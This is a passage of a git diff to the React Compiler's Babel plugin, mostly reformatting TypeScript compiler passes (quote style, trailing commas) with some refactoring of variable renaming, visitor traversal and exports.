+  const scopes = new Scopes(globals, fn.env.programContext);
   renameVariablesImpl(fn, new Visitor(), scopes);
   return new Set([...scopes.names, ...globals]);
 }
@@ -55,11 +57,11 @@ export function renameVariables(fn: ReactiveFunction): Set<string> {
 function renameVariablesImpl(
   fn: ReactiveFunction,
   visitor: Visitor,
-  scopes: Scopes
+  scopes: Scopes,
 ): void {
   scopes.enter(() => {
     for (const param of fn.params) {
-      if (param.kind === "Identifier") {
+      if (param.kind === 'Identifier') {
         scopes.visit(param.identifier);
       } else {
         scopes.visit(param.place.identifier);
@@ -87,7 +89,7 @@ class Visitor extends ReactiveFunctionVisitor<Scopes> {
 
   override visitPrunedScope(
     scopeBlock: PrunedReactiveScopeBlock,
-    state: Scopes
+    state: Scopes,
   ): void {
     this.traverseBlock(scopeBlock.instructions, state);
   }
@@ -102,10 +104,10 @@ class Visitor extends ReactiveFunctionVisitor<Scopes> {
   override visitValue(
     id: InstructionId,
     value: ReactiveValue,
-    state: Scopes
+    state: Scopes,
   ): void {
     this.traverseValue(id, value, state);
-    if (value.kind === "FunctionExpression" || value.kind === "ObjectMethod") {
+    if (value.kind === 'FunctionExpression' || value.kind === 'ObjectMethod') {
       this.visitHirFunction(value.loweredFunc.func, state);
     }
   }
@@ -114,20 +116,22 @@ class Visitor extends ReactiveFunctionVisitor<Scopes> {
     _id: InstructionId,
     _dependencies: Array<Place>,
     _fn: ReactiveFunction,
-    _state: Scopes
+    _state: Scopes,
   ): void {
     renameVariablesImpl(_fn, this, _state);
   }
 }
 
 class Scopes {
-  #seen: Map<IdentifierId, IdentifierName> = new Map();
-  #stack: Array<Map<string, IdentifierId>> = [new Map()];
+  #seen: Map<DeclarationId, IdentifierName> = new Map();
+  #stack: Array<Map<string, DeclarationId>> = [new Map()];
   #globals: Set<string>;
+  #programContext: ProgramContext;
   names: Set<ValidIdentifierName> = new Set();
 
-  constructor(globals: Set<string>) {
+  constructor(globals: Set<string>, programContext: ProgramContext) {
     this.#globals = globals;
+    this.#programContext = programContext;
   }
 
   visit(identifier: Identifier): void {
@@ -135,7 +139,7 @@ class Scopes {
     if (originalName === null) {
       return;
     }
-    const mappedName = this.#seen.get(identifier.id);
+    const mappedName = this.#seen.get(identifier.declarationId);
     if (mappedName !== undefined) {
       identifier.name = mappedName;
       return;
@@ -156,14 +160,15 @@ class Scopes {
         name = `${originalName.value}$${id++}`;
       }
     }
+    this.#programContext.addNewReference(name);
     const identifierName = makeIdentifierName(name);
     identifier.name = identifierName;
-    this.#seen.set(identifier.id, identifierName);
-    this.#stack.at(-1)!.set(identifierName.value, identifier.id);
+    this.#seen.set(identifier.declarationId, identifierName);
+    this.#stack.at(-1)!.set(identifierName.value, identifier.declarationId);
     this.names.add(identifierName.value);
   }
 
-  #lookup(name: string): IdentifierId | null {
+  #lookup(name: string): DeclarationId | null {
     for (let i = this.#stack.length - 1; i >= 0; i--) {
       const scope = this.#stack[i]!;
       const entry = scope.get(name);
@@ -180,10 +185,8 @@ class Scopes {
     fn();
     const last = this.#stack.pop();
     CompilerError.invariant(last === next, {
-      reason: "Mismatch push/pop calls",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Mismatch push/pop calls',
+      loc: GeneratedSource,
     });
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/StabilizeBlockIds.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/StabilizeBlockIds.ts
index 8a28e4227d12..9ad181547469 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/StabilizeBlockIds.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/StabilizeBlockIds.ts
@@ -1,12 +1,19 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
 import {
   BlockId,
   ReactiveFunction,
   ReactiveScopeBlock,
   ReactiveTerminalStatement,
   makeBlockId,
-} from "../HIR";
-import { getOrInsertDefault } from "../Utils/utils";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
+} from '../HIR';
+import {getOrInsertDefault} from '../Utils/utils';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
 
 export function stabilizeBlockIds(fn: ReactiveFunction): void {
   const referenced: Set<BlockId> = new Set();
@@ -22,7 +29,7 @@ export function stabilizeBlockIds(fn: ReactiveFunction): void {
 
 class CollectReferencedLabels extends ReactiveFunctionVisitor<Set<BlockId>> {
   override visitScope(scope: ReactiveScopeBlock, state: Set<BlockId>): void {
-    const { earlyReturnValue } = scope.scope;
+    const {earlyReturnValue} = scope.scope;
     if (earlyReturnValue != null) {
       state.add(earlyReturnValue.label);
     }
@@ -30,7 +37,7 @@ class CollectReferencedLabels extends ReactiveFunctionVisitor<Set<BlockId>> {
   }
   override visitTerminal(
     stmt: ReactiveTerminalStatement,
-    state: Set<BlockId>
+    state: Set<BlockId>,
   ): void {
     if (stmt.label != null) {
       if (!stmt.label.implicit) {
@@ -44,14 +51,14 @@ class CollectReferencedLabels extends ReactiveFunctionVisitor<Set<BlockId>> {
 class RewriteBlockIds extends ReactiveFunctionVisitor<Map<BlockId, BlockId>> {
   override visitScope(
     scope: ReactiveScopeBlock,
-    state: Map<BlockId, BlockId>
+    state: Map<BlockId, BlockId>,
   ): void {
-    const { earlyReturnValue } = scope.scope;
+    const {earlyReturnValue} = scope.scope;
     if (earlyReturnValue != null) {
       const rewrittenId = getOrInsertDefault(
         state,
         earlyReturnValue.label,
-        state.size
+        state.size,
       );
       earlyReturnValue.label = makeBlockId(rewrittenId);
     }
@@ -59,7 +66,7 @@ class RewriteBlockIds extends ReactiveFunctionVisitor<Map<BlockId, BlockId>> {
   }
   override visitTerminal(
     stmt: ReactiveTerminalStatement,
-    state: Map<BlockId, BlockId>
+    state: Map<BlockId, BlockId>,
   ): void {
     if (stmt.label != null) {
       const rewrittenId = getOrInsertDefault(state, stmt.label.id, state.size);
@@ -67,11 +74,11 @@ class RewriteBlockIds extends ReactiveFunctionVisitor<Map<BlockId, BlockId>> {
     }
 
     const terminal = stmt.terminal;
-    if (terminal.kind === "break" || terminal.kind === "continue") {
+    if (terminal.kind === 'break' || terminal.kind === 'continue') {
       const rewrittenId = getOrInsertDefault(
         state,
         terminal.target,
-        state.size
+        state.size,
       );
       terminal.target = makeBlockId(rewrittenId);
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/index.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/index.ts
index 16b85ae2b515..d0f89f05d2a2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/index.ts
@@ -5,39 +5,33 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { alignObjectMethodScopes } from "./AlignObjectMethodScopes";
-export { alignReactiveScopesToBlockScopes } from "./AlignReactiveScopesToBlockScopes";
-export { assertScopeInstructionsWithinScopes } from "./AssertScopeInstructionsWithinScope";
-export { assertWellFormedBreakTargets } from "./AssertWellFormedBreakTargets";
-export { buildReactiveBlocks } from "./BuildReactiveBlocks";
-export { buildReactiveFunction } from "./BuildReactiveFunction";
+export {alignObjectMethodScopes} from './AlignObjectMethodScopes';
+export {assertScopeInstructionsWithinScopes} from './AssertScopeInstructionsWithinScope';
+export {assertWellFormedBreakTargets} from './AssertWellFormedBreakTargets';
+export {buildReactiveFunction} from './BuildReactiveFunction';
+export {codegenFunction, type CodegenFunction} from './CodegenReactiveFunction';
+export {extractScopeDeclarationsFromDestructuring} from './ExtractScopeDeclarationsFromDestructuring';
+export {inferReactiveScopeVariables} from './InferReactiveScopeVariables';
+export {memoizeFbtAndMacroOperandsInSameScope} from './MemoizeFbtAndMacroOperandsInSameScope';
+export {mergeReactiveScopesThatInvalidateTogether} from './MergeReactiveScopesThatInvalidateTogether';
 export {
-  codegenFunction,
-  type CodegenFunction,
-} from "./CodegenReactiveFunction";
-export { extractScopeDeclarationsFromDestructuring } from "./ExtractScopeDeclarationsFromDestructuring";
-export { flattenReactiveLoops } from "./FlattenReactiveLoops";
-export { flattenScopesWithHooksOrUse } from "./FlattenScopesWithHooksOrUse";
-export { inferReactiveScopeVariables } from "./InferReactiveScopeVariables";
-export { memoizeFbtAndMacroOperandsInSameScope as memoizeFbtOperandsInSameScope } from "./MemoizeFbtAndMacroOperandsInSameScope";
-export { mergeOverlappingReactiveScopes } from "./MergeOverlappingReactiveScopes";
-export { mergeReactiveScopesThatInvalidateTogether } from "./MergeReactiveScopesThatInvalidateTogether";
-export { printReactiveFunction } from "./PrintReactiveFunction";
-export { promoteUsedTemporaries } from "./PromoteUsedTemporaries";
-export { propagateEarlyReturns } from "./PropagateEarlyReturns";
-export { propagateScopeDependencies } from "./PropagateScopeDependencies";
-export { pruneAllReactiveScopes } from "./PruneAllReactiveScopes";
-export { pruneHoistedContexts } from "./PruneHoistedContexts";
-export { pruneNonEscapingScopes } from "./PruneNonEscapingScopes";
-export { pruneNonReactiveDependencies } from "./PruneNonReactiveDependencies";
-export { pruneTemporaryLValues as pruneUnusedLValues } from "./PruneTemporaryLValues";
-export { pruneUnusedLabels } from "./PruneUnusedLabels";
-export { pruneUnusedScopes } from "./PruneUnusedScopes";
-export { renameVariables } from "./RenameVariables";
-export { stabilizeBlockIds } from "./StabilizeBlockIds";
+  printReactiveFunction,
+  printReactiveFunctionWithOutlined,
+} from './PrintReactiveFunction';
+export {promoteUsedTemporaries} from './PromoteUsedTemporaries';
+export {propagateEarlyReturns} from './PropagateEarlyReturns';
+export {pruneAllReactiveScopes} from './PruneAllReactiveScopes';
+export {pruneHoistedContexts} from './PruneHoistedContexts';
+export {pruneNonEscapingScopes} from './PruneNonEscapingScopes';
+export {pruneNonReactiveDependencies} from './PruneNonReactiveDependencies';
+export {pruneUnusedLValues} from './PruneTemporaryLValues';
+export {pruneUnusedLabels} from './PruneUnusedLabels';
+export {pruneUnusedScopes} from './PruneUnusedScopes';
+export {renameVariables} from './RenameVariables';
+export {stabilizeBlockIds} from './StabilizeBlockIds';
 export {
   ReactiveFunctionTransform,
   eachReactiveValueOperand,
   visitReactiveFunction,
   type Transformed,
-} from "./visitors";
+} from './visitors';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/visitors.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/visitors.ts
index f7b8f9cc62c0..4ad05aa302ac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/visitors.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/visitors.ts
@@ -18,18 +18,18 @@ import {
   ReactiveTerminal,
   ReactiveTerminalStatement,
   ReactiveValue,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
   eachInstructionLValue,
   eachInstructionValueOperand,
   eachTerminalOperand,
-} from "../HIR/visitors";
-import { assertExhaustive } from "../Utils/utils";
+} from '../HIR/visitors';
+import {assertExhaustive} from '../Utils/utils';
 
 export function visitReactiveFunction<TState>(
   fn: ReactiveFunction,
   visitor: ReactiveFunctionVisitor<TState>,
-  state: TState
+  state: TState,
 ): void {
   visitor.visitBlock(fn.body, state);
 }
@@ -43,7 +43,7 @@ export class ReactiveFunctionVisitor<TState = void> {
     _id: InstructionId,
     _dependencies: Array<Place>,
     _fn: ReactiveFunction,
-    _state: TState
+    _state: TState,
   ): void {}
 
   visitValue(id: InstructionId, value: ReactiveValue, state: TState): void {
@@ -51,37 +51,28 @@ export class ReactiveFunctionVisitor<TState = void> {
   }
   traverseValue(id: InstructionId, value: ReactiveValue, state: TState): void {
     switch (value.kind) {
-      case "OptionalExpression": {
+      case 'OptionalExpression': {
         this.visitValue(id, value.value, state);
         break;
       }
-      case "LogicalExpression": {
+      case 'LogicalExpression': {
         this.visitValue(id, value.left, state);
         this.visitValue(id, value.right, state);
         break;
       }
-      case "ConditionalExpression": {
+      case 'ConditionalExpression': {
         this.visitValue(id, value.test, state);
         this.visitValue(id, value.consequent, state);
         this.visitValue(id, value.alternate, state);
         break;
       }
-      case "SequenceExpression": {
+      case 'SequenceExpression': {
         for (const instr of value.instructions) {
           this.visitInstruction(instr, state);
         }
         this.visitValue(value.id, value.value, state);
         break;
       }
-      case "ReactiveFunctionValue": {
-        this.visitReactiveFunctionValue(
-          id,
-          value.dependencies,
-          value.fn,
-          state
-        );
-        break;
-      }
       default: {
         for (const place of eachInstructionValueOperand(value)) {
           this.visitPlace(id, place, state);
@@ -105,24 +96,24 @@ export class ReactiveFunctionVisitor<TState = void> {
     this.traverseTerminal(stmt, state);
   }
   traverseTerminal(stmt: ReactiveTerminalStatement, state: TState): void {
-    const { terminal } = stmt;
+    const {terminal} = stmt;
     if (terminal.id !== null) {
       this.visitID(terminal.id, state);
     }
     switch (terminal.kind) {
-      case "break":
-      case "continue": {
+      case 'break':
+      case 'continue': {
         break;
       }
-      case "return": {
+      case 'return': {
         this.visitPlace(terminal.id, terminal.value, state);
         break;
       }
-      case "throw": {
+      case 'throw': {
         this.visitPlace(terminal.id, terminal.value, state);
         break;
       }
-      case "for": {
+      case 'for': {
         this.visitValue(terminal.id, terminal.init, state);
         this.visitValue(terminal.id, terminal.test, state);
         this.visitBlock(terminal.loop, state);
@@ -131,28 +122,28 @@ export class ReactiveFunctionVisitor<TState = void> {
         }
         break;
       }
-      case "for-of": {
+      case 'for-of': {
         this.visitValue(terminal.id, terminal.init, state);
         this.visitValue(terminal.id, terminal.test, state);
         this.visitBlock(terminal.loop, state);
         break;
       }
-      case "for-in": {
+      case 'for-in': {
         this.visitValue(terminal.id, terminal.init, state);
         this.visitBlock(terminal.loop, state);
         break;
       }
-      case "do-while": {
+      case 'do-while': {
         this.visitBlock(terminal.loop, state);
         this.visitValue(terminal.id, terminal.test, state);
         break;
       }
-      case "while": {
+      case 'while': {
         this.visitValue(terminal.id, terminal.test, state);
         this.visitBlock(terminal.loop, state);
         break;
       }
-      case "if": {
+      case 'if': {
         this.visitPlace(terminal.id, terminal.test, state);
         this.visitBlock(terminal.consequent, state);
         if (terminal.alternate !== null) {
@@ -160,7 +151,7 @@ export class ReactiveFunctionVisitor<TState = void> {
         }
         break;
       }
-      case "switch": {
+      case 'switch': {
         this.visitPlace(terminal.id, terminal.test, state);
         for (const case_ of terminal.cases) {
           if (case_.test !== null) {
@@ -172,11 +163,11 @@ export class ReactiveFunctionVisitor<TState = void> {
         }
         break;
       }
-      case "label": {
+      case 'label': {
         this.visitBlock(terminal.block, state);
         break;
       }
-      case "try": {
+      case 'try': {
         this.visitBlock(terminal.block, state);
         this.visitBlock(terminal.handler, state);
         break;
@@ -184,7 +175,7 @@ export class ReactiveFunctionVisitor<TState = void> {
       default: {
         assertExhaustive(
           terminal,
-          `Unexpected terminal kind \`${(terminal as any).kind}\``
+          `Unexpected terminal kind \`${(terminal as any).kind}\``,
         );
       }
     }
@@ -202,7 +193,7 @@ export class ReactiveFunctionVisitor<TState = void> {
   }
   traversePrunedScope(
     scopeBlock: PrunedReactiveScopeBlock,
-    state: TState
+    state: TState,
   ): void {
     this.visitBlock(scopeBlock.instructions, state);
   }
@@ -213,26 +204,26 @@ export class ReactiveFunctionVisitor<TState = void> {
   traverseBlock(block: ReactiveBlock, state: TState): void {
     for (const instr of block) {
       switch (instr.kind) {
-        case "instruction": {
+        case 'instruction': {
           this.visitInstruction(instr.instruction, state);
           break;
         }
-        case "scope": {
+        case 'scope': {
           this.visitScope(instr, state);
           break;
         }
-        case "pruned-scope": {
+        case 'pruned-scope': {
           this.visitPrunedScope(instr, state);
           break;
         }
-        case "terminal": {
+        case 'terminal': {
           this.visitTerminal(instr, state);
           break;
         }
         default: {
           assertExhaustive(
             instr,
-            `Unexpected instruction kind \`${(instr as any).kind}\``
+            `Unexpected instruction kind \`${(instr as any).kind}\``,
           );
         }
       }
@@ -241,15 +232,15 @@ export class ReactiveFunctionVisitor<TState = void> {
 
   visitHirFunction(fn: HIRFunction, state: TState): void {
     for (const param of fn.params) {
-      const place = param.kind === "Identifier" ? param : param.place;
+      const place = param.kind === 'Identifier' ? param : param.place;
       this.visitParam(place, state);
     }
     for (const [, block] of fn.body.blocks) {
       for (const instr of block.instructions) {
         this.visitInstruction(instr, state);
         if (
-          instr.value.kind === "FunctionExpression" ||
-          instr.value.kind === "ObjectMethod"
+          instr.value.kind === 'FunctionExpression' ||
+          instr.value.kind === 'ObjectMethod'
         ) {
           this.visitHirFunction(instr.value.loweredFunc.func, state);
         }
@@ -262,14 +253,14 @@ export class ReactiveFunctionVisitor<TState = void> {
 }
 
 export type TransformedValue =
-  | { kind: "keep" }
-  | { kind: "replace"; value: ReactiveValue };
+  | {kind: 'keep'}
+  | {kind: 'replace'; value: ReactiveValue};
 
 export type Transformed<T> =
-  | { kind: "remove" }
-  | { kind: "keep" }
-  | { kind: "replace"; value: T }
-  | { kind: "replace-many"; value: Array<T> };
+  | {kind: 'remove'}
+  | {kind: 'keep'}
+  | {kind: 'replace'; value: T}
+  | {kind: 'replace-many'; value: Array<T>};
 
 export class ReactiveFunctionTransform<
   TState = void,
@@ -280,48 +271,48 @@ export class ReactiveFunctionTransform<
       const instr = block[i]!;
       let transformed: Transformed<ReactiveStatement>;
       switch (instr.kind) {
-        case "instruction": {
+        case 'instruction': {
           transformed = this.transformInstruction(instr.instruction, state);
           break;
         }
-        case "scope": {
+        case 'scope': {
           transformed = this.transformScope(instr, state);
           break;
         }
-        case "pruned-scope": {
+        case 'pruned-scope': {
           transformed = this.transformPrunedScope(instr, state);
           break;
         }
-        case "terminal": {
+        case 'terminal': {
           transformed = this.transformTerminal(instr, state);
           break;
         }
         default: {
           assertExhaustive(
             instr,
-            `Unexpected instruction kind \`${(instr as any).kind}\``
+            `Unexpected instruction kind \`${(instr as any).kind}\``,
           );
         }
       }
       switch (transformed.kind) {
-        case "keep": {
+        case 'keep': {
           if (nextBlock !== null) {
             nextBlock.push(instr);
           }
           break;
         }
-        case "remove": {
+        case 'remove': {
           if (nextBlock === null) {
             nextBlock = block.slice(0, i);
           }
           break;
         }
-        case "replace": {
+        case 'replace': {
           nextBlock ??= block.slice(0, i);
           nextBlock.push(transformed.value);
           break;
         }
-        case "replace-many": {
+        case 'replace-many': {
           nextBlock ??= block.slice(0, i);
           nextBlock.push(...transformed.value);
           break;
@@ -336,116 +327,104 @@ export class ReactiveFunctionTransform<
 
   transformInstruction(
     instruction: ReactiveInstruction,
-    state: TState
+    state: TState,
   ): Transformed<ReactiveStatement> {
     this.visitInstruction(instruction, state);
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 
   transformTerminal(
     stmt: ReactiveTerminalStatement,
-    state: TState
+    state: TState,
   ): Transformed<ReactiveStatement> {
     this.visitTerminal(stmt, state);
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 
   transformScope(
     scope: ReactiveScopeBlock,
-    state: TState
+    state: TState,
   ): Transformed<ReactiveStatement> {
     this.visitScope(scope, state);
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 
   transformPrunedScope(
     scope: PrunedReactiveScopeBlock,
-    state: TState
+    state: TState,
   ): Transformed<ReactiveStatement> {
     this.visitPrunedScope(scope, state);
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 
   transformValue(
     id: InstructionId,
     value: ReactiveValue,
-    state: TState
+    state: TState,
   ): TransformedValue {
     this.visitValue(id, value, state);
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 
   transformReactiveFunctionValue(
     id: InstructionId,
     dependencies: Array<Place>,
     fn: ReactiveFunction,
-    state: TState
-  ): { kind: "keep" } | { kind: "replace"; value: ReactiveFunction } {
+    state: TState,
+  ): {kind: 'keep'} | {kind: 'replace'; value: ReactiveFunction} {
     this.visitReactiveFunctionValue(id, dependencies, fn, state);
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 
   override traverseValue(
     id: InstructionId,
     value: ReactiveValue,
-    state: TState
+    state: TState,
   ): void {
     switch (value.kind) {
-      case "OptionalExpression": {
+      case 'OptionalExpression': {
         const nextValue = this.transformValue(id, value.value, state);
-        if (nextValue.kind === "replace") {
+        if (nextValue.kind === 'replace') {
           value.value = nextValue.value;
         }
         break;
       }
-      case "LogicalExpression": {
+      case 'LogicalExpression': {
         const left = this.transformValue(id, value.left, state);
-        if (left.kind === "replace") {
+        if (left.kind === 'replace') {
           value.left = left.value;
         }
         const right = this.transformValue(id, value.right, state);
-        if (right.kind === "replace") {
+        if (right.kind === 'replace') {
           value.right = right.value;
         }
         break;
       }
-      case "ConditionalExpression": {
+      case 'ConditionalExpression': {
         const test = this.transformValue(id, value.test, state);
-        if (test.kind === "replace") {
+        if (test.kind === 'replace') {
           value.test = test.value;
         }
         const consequent = this.transformValue(id, value.consequent, state);
-        if (consequent.kind === "replace") {
+        if (consequent.kind === 'replace') {
           value.consequent = consequent.value;
         }
         const alternate = this.transformValue(id, value.alternate, state);
-        if (alternate.kind === "replace") {
+        if (alternate.kind === 'replace') {
           value.alternate = alternate.value;
         }
         break;
       }
-      case "SequenceExpression": {
+      case 'SequenceExpression': {
         for (const instr of value.instructions) {
           this.visitInstruction(instr, state);
         }
         const nextValue = this.transformValue(value.id, value.value, state);
-        if (nextValue.kind === "replace") {
+        if (nextValue.kind === 'replace') {
           value.value = nextValue.value;
         }
         break;
       }
-      case "ReactiveFunctionValue": {
-        const nextValue = this.transformReactiveFunctionValue(
-          id,
-          value.dependencies,
-          value.fn,
-          state
-        );
-        if (nextValue.kind === "replace") {
-          value.fn = nextValue.value;
-        }
-        break;
-      }
       default: {
         for (const place of eachInstructionValueOperand(value)) {
           this.visitPlace(id, place, state);
@@ -456,7 +435,7 @@ export class ReactiveFunctionTransform<
 
   override traverseInstruction(
     instruction: ReactiveInstruction,
-    state: TState
+    state: TState,
   ): void {
     this.visitID(instruction.id, state);
     for (const operand of eachInstructionLValue(instruction)) {
@@ -465,93 +444,93 @@ export class ReactiveFunctionTransform<
     const nextValue = this.transformValue(
       instruction.id,
       instruction.value,
-      state
+      state,
     );
-    if (nextValue.kind === "replace") {
+    if (nextValue.kind === 'replace') {
       instruction.value = nextValue.value;
     }
   }
 
   override traverseTerminal(
     stmt: ReactiveTerminalStatement,
-    state: TState
+    state: TState,
   ): void {
-    const { terminal } = stmt;
+    const {terminal} = stmt;
     if (terminal.id !== null) {
       this.visitID(terminal.id, state);
     }
     switch (terminal.kind) {
-      case "break":
-      case "continue": {
+      case 'break':
+      case 'continue': {
         break;
       }
-      case "return": {
+      case 'return': {
         this.visitPlace(terminal.id, terminal.value, state);
         break;
       }
-      case "throw": {
+      case 'throw': {
         this.visitPlace(terminal.id, terminal.value, state);
         break;
       }
-      case "for": {
+      case 'for': {
         const init = this.transformValue(terminal.id, terminal.init, state);
-        if (init.kind === "replace") {
+        if (init.kind === 'replace') {
           terminal.init = init.value;
         }
         const test = this.transformValue(terminal.id, terminal.test, state);
-        if (test.kind === "replace") {
+        if (test.kind === 'replace') {
           terminal.test = test.value;
         }
         if (terminal.update !== null) {
           const update = this.transformValue(
             terminal.id,
             terminal.update,
-            state
+            state,
           );
-          if (update.kind === "replace") {
+          if (update.kind === 'replace') {
             terminal.update = update.value;
           }
         }
         this.visitBlock(terminal.loop, state);
         break;
       }
-      case "for-of": {
+      case 'for-of': {
         const init = this.transformValue(terminal.id, terminal.init, state);
-        if (init.kind === "replace") {
+        if (init.kind === 'replace') {
           terminal.init = init.value;
         }
         const test = this.transformValue(terminal.id, terminal.test, state);
-        if (test.kind === "replace") {
+        if (test.kind === 'replace') {
           terminal.test = test.value;
         }
         this.visitBlock(terminal.loop, state);
         break;
       }
-      case "for-in": {
+      case 'for-in': {
         const init = this.transformValue(terminal.id, terminal.init, state);
-        if (init.kind === "replace") {
+        if (init.kind === 'replace') {
           terminal.init = init.value;
         }
         this.visitBlock(terminal.loop, state);
         break;
       }
-      case "do-while": {
+      case 'do-while': {
         this.visitBlock(terminal.loop, state);
         const test = this.transformValue(terminal.id, terminal.test, state);
-        if (test.kind === "replace") {
+        if (test.kind === 'replace') {
           terminal.test = test.value;
         }
         break;
       }
-      case "while": {
+      case 'while': {
         const test = this.transformValue(terminal.id, terminal.test, state);
-        if (test.kind === "replace") {
+        if (test.kind === 'replace') {
           terminal.test = test.value;
         }
         this.visitBlock(terminal.loop, state);
         break;
       }
-      case "if": {
+      case 'if': {
         this.visitPlace(terminal.id, terminal.test, state);
         this.visitBlock(terminal.consequent, state);
         if (terminal.alternate !== null) {
@@ -559,7 +538,7 @@ export class ReactiveFunctionTransform<
         }
         break;
       }
-      case "switch": {
+      case 'switch': {
         this.visitPlace(terminal.id, terminal.test, state);
         for (const case_ of terminal.cases) {
           if (case_.test !== null) {
@@ -571,11 +550,11 @@ export class ReactiveFunctionTransform<
         }
         break;
       }
-      case "label": {
+      case 'label': {
         this.visitBlock(terminal.block, state);
         break;
       }
-      case "try": {
+      case 'try': {
         this.visitBlock(terminal.block, state);
         if (terminal.handlerBinding !== null) {
           this.visitPlace(terminal.id, terminal.handlerBinding, state);
@@ -586,7 +565,7 @@ export class ReactiveFunctionTransform<
       default: {
         assertExhaustive(
           terminal,
-          `Unexpected terminal kind \`${(terminal as any).kind}\``
+          `Unexpected terminal kind \`${(terminal as any).kind}\``,
         );
       }
     }
@@ -594,35 +573,31 @@ export class ReactiveFunctionTransform<
 }
 
 export function* eachReactiveValueOperand(
-  instrValue: ReactiveValue
+  instrValue: ReactiveValue,
 ): Iterable<Place> {
   switch (instrValue.kind) {
-    case "OptionalExpression": {
+    case 'OptionalExpression': {
       yield* eachReactiveValueOperand(instrValue.value);
       break;
     }
-    case "LogicalExpression": {
+    case 'LogicalExpression': {
       yield* eachReactiveValueOperand(instrValue.left);
       yield* eachReactiveValueOperand(instrValue.right);
       break;
     }
-    case "SequenceExpression": {
+    case 'SequenceExpression': {
       for (const instr of instrValue.instructions) {
         yield* eachReactiveValueOperand(instr.value);
       }
       yield* eachReactiveValueOperand(instrValue.value);
       break;
     }
-    case "ConditionalExpression": {
+    case 'ConditionalExpression': {
       yield* eachReactiveValueOperand(instrValue.test);
       yield* eachReactiveValueOperand(instrValue.consequent);
       yield* eachReactiveValueOperand(instrValue.alternate);
       break;
     }
-    case "ReactiveFunctionValue": {
-      yield* instrValue.dependencies;
-      break;
-    }
     default: {
       yield* eachInstructionValueOperand(instrValue);
     }
@@ -631,40 +606,40 @@ export function* eachReactiveValueOperand(
 
 export function mapTerminalBlocks(
   terminal: ReactiveTerminal,
-  fn: (block: ReactiveBlock) => ReactiveBlock
+  fn: (block: ReactiveBlock) => ReactiveBlock,
 ): void {
   switch (terminal.kind) {
-    case "break":
-    case "continue":
-    case "return":
-    case "throw": {
+    case 'break':
+    case 'continue':
+    case 'return':
+    case 'throw': {
       break;
     }
-    case "for": {
+    case 'for': {
       terminal.loop = fn(terminal.loop);
       break;
     }
-    case "for-of": {
+    case 'for-of': {
       terminal.loop = fn(terminal.loop);
       break;
     }
-    case "for-in": {
+    case 'for-in': {
       terminal.loop = fn(terminal.loop);
       break;
     }
-    case "do-while":
-    case "while": {
+    case 'do-while':
+    case 'while': {
       terminal.loop = fn(terminal.loop);
       break;
     }
-    case "if": {
+    case 'if': {
       terminal.consequent = fn(terminal.consequent);
       if (terminal.alternate !== null) {
         terminal.alternate = fn(terminal.alternate);
       }
       break;
     }
-    case "switch": {
+    case 'switch': {
       for (const case_ of terminal.cases) {
         if (case_.block !== undefined) {
           case_.block = fn(case_.block);
@@ -672,11 +647,11 @@ export function mapTerminalBlocks(
       }
       break;
     }
-    case "label": {
+    case 'label': {
       terminal.block = fn(terminal.block);
       break;
     }
-    case "try": {
+    case 'try': {
       terminal.block = fn(terminal.block);
       terminal.handler = fn(terminal.handler);
       break;
@@ -684,7 +659,7 @@ export function mapTerminalBlocks(
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${(terminal as any).kind}\``
+        `Unexpected terminal kind \`${(terminal as any).kind}\``,
       );
     }
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/SSA/EliminateRedundantPhi.ts b/compiler/packages/babel-plugin-react-compiler/src/SSA/EliminateRedundantPhi.ts
index 50d8022f5fa2..ab6d59b14452 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/SSA/EliminateRedundantPhi.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/SSA/EliminateRedundantPhi.ts
@@ -5,13 +5,21 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
-import { BlockId, HIRFunction, Identifier, Place } from "../HIR/HIR";
+import {CompilerError} from '../CompilerError';
+import {
+  BlockId,
+  GeneratedSource,
+  HIRFunction,
+  Identifier,
+  Place,
+} from '../HIR/HIR';
 import {
   eachInstructionLValue,
   eachInstructionOperand,
   eachTerminalOperand,
-} from "../HIR/visitors";
+} from '../HIR/visitors';
+
+const DEBUG = false;
 
 /*
  * Pass to eliminate redundant phi nodes:
@@ -29,7 +37,7 @@ import {
  */
 export function eliminateRedundantPhi(
   fn: HIRFunction,
-  sharedRewrites?: Map<Identifier, Identifier>
+  sharedRewrites?: Map<Identifier, Identifier>,
 ): void {
   const ir = fn.body;
   const rewrites: Map<Identifier, Identifier> =
@@ -68,18 +76,13 @@ export function eliminateRedundantPhi(
       // Find any redundant phis
       phis: for (const phi of block.phis) {
         // Remap phis in case operands are from eliminated phis
-        phi.operands = new Map(
-          Array.from(phi.operands).map(([block, id]) => [
-            block,
-            rewrites.get(id) ?? id,
-          ])
-        );
+        phi.operands.forEach((place, _) => rewritePlace(place, rewrites));
         // Find if the phi can be eliminated
